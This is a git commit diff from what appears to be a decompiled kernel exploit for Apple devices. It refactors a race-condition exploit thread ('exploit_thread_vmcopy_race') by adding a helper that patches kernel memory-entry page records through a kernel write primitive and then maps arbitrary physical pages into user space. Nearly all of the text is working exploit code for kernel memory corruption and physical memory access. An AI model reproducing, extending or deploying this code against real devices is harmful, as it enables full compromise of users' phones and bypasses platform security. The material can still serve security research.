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Extract vmcopy physical page mapping

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khanhduytran0
2026-06-17 15:33:31 +07:00
parent ecd2d3a6d2
commit bc4e40149f
1 changed files with 50 additions and 20 deletions
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src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
+50 -20
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@@ -162,6 +162,24 @@ static inline void vmcopy_patch_memory_entry_page(__int64 kreadCtx, __int64 page
kwrite_u64_via_kobject(kreadCtx, pageInfoKaddr, (__int64)scratch, 32);
}
static inline vm_address_t vmcopy_map_physical_page(
__int64 kreadCtx,
__int64 pageInfoKaddr,
uint32_t mappedPageRef,
uint32_t restorePageRef,
mem_entry_name_port_t objectHandle,
vm_offset_t physicalOffset,
__int128 scratch[2])
{
vm_address_t mappedAddress = 0;
vmcopy_patch_memory_entry_page(kreadCtx, pageInfoKaddr, mappedPageRef, scratch);
vm_map(mach_task_self_, &mappedAddress, 0x4000u, 0, 1, objectHandle, physicalOffset, 0, 3, 3, 1u);
vmcopy_patch_memory_entry_page(kreadCtx, pageInfoKaddr, restorePageRef, scratch);
return mappedAddress;
}
static inline uint64_t vmcopy_page_info_addr_from_ref(uint32_t ref, uint64_t packedBase, uint64_t linearBase, uint32_t pageShift)
{
if ( (ref & 0x80000000u) != 0 )
@@ -7925,17 +7943,25 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
v100 = v25;
v101 = v25 + 272;
v26 = v25 & 0xFFFFFFFFFFFFC000LL;
v152 = 0;
vmcopy_patch_memory_entry_page(*(uint64_t *)(someStruct + 8), v103, *(uint64_t *)(someStruct + 32), __dst);
vm_map(mach_task_self_, &v152, 0x4000u, 0, 1, object_handle, v23 & 0xFFFFFFFFFFFFC000LL, 0, 3, 3, 1u);
vmcopy_patch_memory_entry_page(*(uint64_t *)(someStruct + 8), v103, v102 >> v159, __dst);
v152 = vmcopy_map_physical_page(
*(uint64_t *)(someStruct + 8),
v103,
*(uint64_t *)(someStruct + 32),
v102 >> v159,
object_handle,
v23 & 0xFFFFFFFFFFFFC000LL,
__dst);
v97 = qword_48008;
v98 = v152;
v151 = 0;
vmcopy_patch_memory_entry_page(*(uint64_t *)(someStruct + 8), v103, *(uint64_t *)(someStruct + 32), __dst);
v108 = v26;
vm_map(mach_task_self_, &v151, 0x4000u, 0, 1, object_handle, v26, 0, 3, 3, 1u);
vmcopy_patch_memory_entry_page(*(uint64_t *)(someStruct + 8), v103, v102 >> v159, __dst);
v151 = vmcopy_map_physical_page(
*(uint64_t *)(someStruct + 8),
v103,
*(uint64_t *)(someStruct + 32),
v102 >> v159,
object_handle,
v26,
__dst);
v27 = v151;
v150 = 0;
memset(v180, 0, sizeof(v180));
@@ -8108,10 +8134,14 @@ LABEL_68:
}
v67 = vmcopy_page_info_ref_from_addr(v65, v109, v64, v159);
v99 = v67;
v144 = 0;
vmcopy_patch_memory_entry_page(*(uint64_t *)(someStruct + 8), v103, *(uint64_t *)(someStruct + 32), __dst);
vm_map(mach_task_self_, &v144, 0x4000u, 0, 1, object_handle, v108, 0, 3, 3, 1u);
vmcopy_patch_memory_entry_page(*(uint64_t *)(someStruct + 8), v103, v102 >> v159, __dst);
v144 = vmcopy_map_physical_page(
*(uint64_t *)(someStruct + 8),
v103,
*(uint64_t *)(someStruct + 32),
v102 >> v159,
object_handle,
v108,
__dst);
*(uint64_t *)(someStruct + 24) = v144 + v105;
flush_cpu_cache(*(uint64_t *)(someStruct + 8), v101, *(uint32_t *)(someStruct + 656));
memcpy(__dst, *(const void **)(someStruct + 24), sizeof(__dst));
@@ -8238,14 +8268,14 @@ LABEL_68:
memcpy(*(void **)(someStruct + 24), v94, 0x130u);
v87 = *(uint64_t *)(someStruct + 360) & 0xFFFFFFFFFFFFC000LL;
v88 = *(uint64_t *)(someStruct + 360) & 0x3FFFLL;
v110 = 0;
vmcopy_patch_memory_entry_page(
*(uint64_t *)(someStruct + 8),
v103,
*(uint64_t *)(someStruct + 32),
(__int128 *)pageInfoPayload);
vm_map(mach_task_self_, &v110, 0x4000u, 0, 1, object_handle, v87, 0, 3, 3, 1u);
vmcopy_patch_memory_entry_page(*(uint64_t *)(someStruct + 8), v103, v102 >> v159, (__int128 *)pageInfoPayload);
v110 = vmcopy_map_physical_page(
*(uint64_t *)(someStruct + 8),
v103,
*(uint64_t *)(someStruct + 32),
v102 >> v159,
object_handle,
v87,
(__int128 *)pageInfoPayload);
v89 = v110 + v88;
*(uint64_t *)(someStruct + 352) = v110 + v88;
*(uint64_t *)(v89 + 264) = 1094795585;